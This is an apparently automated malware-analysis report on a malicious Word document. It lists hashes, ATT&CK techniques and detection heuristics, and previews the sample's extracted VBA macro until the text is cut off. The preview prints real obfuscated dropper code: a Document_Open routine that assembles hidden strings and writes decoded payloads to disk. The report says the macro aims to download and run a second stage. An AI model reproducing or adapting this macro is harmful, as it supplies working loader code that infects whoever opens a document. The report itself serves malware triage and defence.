Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd123cc3c192e822…

MALICIOUS

Office (OLE)

959.5 KB Created: 2018-02-21 09:23:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: aa1e8d0e1c4d4eb9984124df003ea7f2 SHA-1: dfcd4a66adc4ebd573a48f1715a8f2b0c0291160 SHA-256: cd123cc3c192e822d24534ad52b7c76becbe0b10f987c881d90a4629ef84f736
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro within the Document_Open subroutine, which is designed to execute automatically when the document is opened. This macro utilizes CreateObject and GetObject calls, indicative of malicious activity, and attempts to download and execute a second-stage payload. The presence of a large encoded blob and the ClamAV detection further support its malicious nature. The embedded URL is benign, but the macro's intent is to download and execute.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-7570500-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7570500-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 403207 bytes
SHA-256: 9821e3fb623997efe654a06d2c07100dbf0cabccc26d32a830a1219939f20305
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 531 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Option Explicit
Sub Document_Open()
On Error Resume Next


Dim vypS, WGfQ, CCxw As String
vypS = FUbx(kHus)
WGfQ = FUbx(yjcD)
CCxw = FUbx(CjQd)


Dim oaZH As String
oaZH = xmRJ(ztwU(209, 130))
oaZH = SCcV(oaZH, xmRJ(ztwU(11, 104)))
oaZH = SCcV(oaZH, xmRJ(ztwU(76, 62)))
oaZH = SCcV(oaZH, xmRJ(ztwU(26, 115)))
oaZH = SCcV(oaZH, xmRJ(ztwU(61, 77)))
oaZH = SCcV(oaZH, xmRJ(ztwU(82, 38)))
oaZH = SCcV(oaZH, xmRJ(ztwU(26, 115)))
oaZH = SCcV(oaZH, xmRJ(ztwU(14, 96)))
oaZH = SCcV(oaZH, xmRJ(ztwU(107, 12)))
oaZH = SCcV(oaZH, xmRJ(ztwU(6, 40)))
oaZH = SCcV(oaZH, xmRJ(ztwU(235, 173)))
oaZH = SCcV(oaZH, xmRJ(ztwU(26, 115)))
oaZH = SCcV(oaZH, xmRJ(ztwU(251, 151)))
oaZH = SCcV(oaZH, xmRJ(ztwU(205, 168)))
oaZH = SCcV(oaZH, xmRJ(ztwU(209, 130)))
oaZH = SCcV(oaZH, xmRJ(ztwU(236, 149)))
oaZH = SCcV(oaZH, xmRJ(ztwU(17, 98)))
oaZH = SCcV(oaZH, xmRJ(ztwU(82, 38)))
oaZH = SCcV(oaZH, xmRJ(ztwU(205, 168)))
oaZH = SCcV(oaZH, xmRJ(ztwU(174, 195)))
oaZH = SCcV(oaZH, xmRJ(ztwU(16, 95)))
oaZH = SCcV(oaZH, xmRJ(ztwU(30, 124)))
oaZH = SCcV(oaZH, xmRJ(ztwU(112, 26)))
oaZH = SCcV(oaZH, xmRJ(ztwU(205, 168)))
oaZH = SCcV(oaZH, xmRJ(ztwU(11, 104)))
oaZH = SCcV(oaZH, xmRJ(ztwU(82, 38)))

Dim Nagy As String
Nagy = vypS
Dim ShfQ As String
ShfQ = ""
ShfQ = SCcV(ShfQ, xmRJ(ztwU(48, 115)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(129, 187)))
ShfQ = SCcV(ShfQ, "\")
ShfQ = SCcV(ShfQ, xmRJ(ztwU(156, 204)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(76, 62)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(50, 93)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(107, 12)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(76, 62)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(198, 167)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(174, 195)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(244, 176)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(198, 167)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(82, 38)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(198, 167)))
ShfQ = SCcV(ShfQ, "\")
ShfQ = SCcV(ShfQ, xmRJ(ztwU(72, 31)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(26, 115)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(14, 96)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(80, 52)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(50, 93)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(89, 46)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(17, 98)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(244, 176)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(205, 168)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(199, 161)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(205, 168)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(14, 96)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(80, 52)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(205, 168)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(76, 62)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(6, 40)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(26, 115)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(14, 96)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(26, 115)))

YoDE ShfQ, Nagy, oaZH

Dim bgMm As String
bgMm = ""
bgMm = SCcV(bgMm, xmRJ(ztwU(48, 115)))
bgMm = SCcV(bgMm, xmRJ(ztwU(129, 187)))
bgMm = SCcV(bgMm, "\")
bgMm = SCcV(bgMm, xmRJ(ztwU(156, 204)))
bgMm = SCcV(bgMm, xmRJ(ztwU(76, 62)))
bgMm = SCcV(bgMm, xmRJ(ztwU(50, 93)))
bgMm = SCcV(bgMm, xmRJ(ztwU(107, 12)))
bgMm = SCcV(bgMm, xmRJ(ztwU(76, 62)))
bgMm = SCcV(bgMm, xmRJ(ztwU(198, 167)))
bgMm = SCcV(bgMm, xmRJ(ztwU(174, 195)))
bgMm = SCcV(bgMm, xmRJ(ztwU(244, 176)))
bgMm = SCcV(bgMm, xmRJ(ztwU(198, 167)))
bgMm = SCcV(bgMm, xmRJ(ztwU(82, 38)))
bgMm = SCcV(bgMm, xmRJ(ztwU(198, 167)))
bgMm = SCcV(bgMm, "\")
bgMm = SCcV(bgMm, xmRJ(ztwU(244, 176)))
bgMm = SCcV(bgMm, xmRJ(ztwU(205, 168)))
bgMm = SCcV(bgMm, xmRJ(ztwU(199, 161)))
bgMm = SCcV(bgMm, xmRJ(ztwU(205, 168)))
bgMm = SCcV(bgMm, xmRJ(ztwU(14, 96)))
bgMm = SCcV(bgMm, xmRJ(ztwU(80, 52)))
bgMm = SCcV(bgMm, xmRJ(ztwU(205, 168)))
bgMm = SCcV(bgMm, xmRJ(ztwU(76, 62)))
bgMm = SCcV(bgMm, xmRJ(ztwU(6, 40)))
bgMm = SCcV(bgMm, xmRJ(ztwU(17, 98)))
bgMm = SCcV(bgMm, xmRJ(ztwU(11, 104)))
bgMm = SCcV(bgMm, xmRJ(ztwU(82, 38)))


Dim jQNs As String
jQNs = WGfQ
YoDE bgMm, j
... (truncated)